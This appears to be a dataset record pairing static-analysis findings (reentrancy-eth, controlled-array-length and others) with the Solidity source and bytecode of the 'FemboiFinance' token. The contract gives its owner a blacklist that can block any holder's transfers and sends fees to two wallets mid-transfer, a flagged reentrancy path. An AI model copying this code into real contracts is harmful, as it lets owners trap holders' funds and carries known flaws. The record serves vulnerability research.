b50505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6b0121836204bc2ce21e00000081565b6adf56b9541c229fce00000081565b612fed61283e565b1515612ff857600080fd5b61300181610deb565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b81801561307957506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154115b15613150578273ffffffffffffffffffffffffffffffffffffffff166108fc601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549081150290604051600060405180830381858888f19350505050158015613106573d6000803e3d6000fd5b506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b80801561319f57506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154115b15613276578273ffffffffffffffffffffffffffffffffffffffff166108fc601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549081150290604051600060405180830381858888f1935050505015801561322c573d6000803e3d6000fd5b506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b505050565b8180156132ca57506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154115b15613318576000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b80801561336757506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154115b156133b5576000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055505b505050565b6000806000806133c86138c9565b6000806000806000806133da8e6135de565b97506133e58861368e565b965086600001518e89038115156133f857fe5b049550600086141561343d576b01a5dcb365fc4166be000000881415613427578c8c60019a509a509a506134a8565b613432888e8e6133ba565b9a509a509a506134a8565b86602001518d81151561344c57fe5b04945085851161345c578461345e565b855b9350866000015184028c019250866020015184028d039150828e019050866020015182101561349657818360009a509a509a506134a8565b6134a18183856133ba565b9a509a509a505b505050505050505093509350939050565b600080828401905060008414806134d05750600083145b156134dd578091506134fa565b83811180156134eb57508281115b15156134f657600080fd5b8091505b5092915050565b600061350b613585565b80156135645750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b905090565b600081831015151561357a57600080fd5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415905090565b60006adf56b9541c229fce000000821015613606576adf56b9541c229fce0000009050613689565b6b0121836204bc2ce21e00000082101561362e576b0121836204bc2ce21e0000009050613689565b6b0195518939d43ed62a000000821015613656576b0195518939d43ed62a0000009050613689565b6b01a5dcb365fc4166be00000082101561367e576b01a5dcb365fc4166be0000009050613689565b6000151561368857fe5b5b919050565b6136966138c9565b6000806136a284613771565b915060068260ff166004811015156136b657fe5b600202019050600081600001541180156136d4575060008160010154115b1515613748576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45786368616e67652072617465206e6f7420736574000000000000000000000081525060200191505060405180910390fd5b806040805190810160405290816000820154815260200160018201548152505092505050919050565b60006adf56b9541c229fce00000082141561378f57600090506137f1565b6b0121836204bc2ce21e0000008214156137ac57600190506137f1565b6b0195518939d43ed62a0000008214156137c957600290506137f1565b6b01a5dcb365fc4166be0000008214156137e657600390506137f1565b600015156137f057fe5b5b919050565b828054828255906000526020600020908101928215613838579160200282015b82811115613837578251829060001916905591602001919060010190613816565b5b50905061384591906138e3565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061388a57805160ff19168380011785556138b8565b828001600101855582156138b8579182015b828111156138b757825182559160200191906001019061389c565b5b5090506138c59190613908565b5090565b604080519081016040528060008152602001600081525090565b61390591905b808211156139015760008160009055506001016138e9565b5090565b90565b61392a91905b8082111561392657600081600090555060010161390e565b5090565b905600a165627a7a7230582021071822b9b33c0cb33d2145fbc3b0bf3be58020674ff94b650a573f11c146820029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,331 |
0xfef52d22a045a9c96e2cb24863ccb05d4e1753ec
|
/*
* Telegram: https://t.me/femboifinance
*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FemboiFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Femboi.finance";
string private constant _symbol = 'FEMBOI';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 6;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
//_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f46656d626f692e66696e616e6365000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f46454d424f490000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffff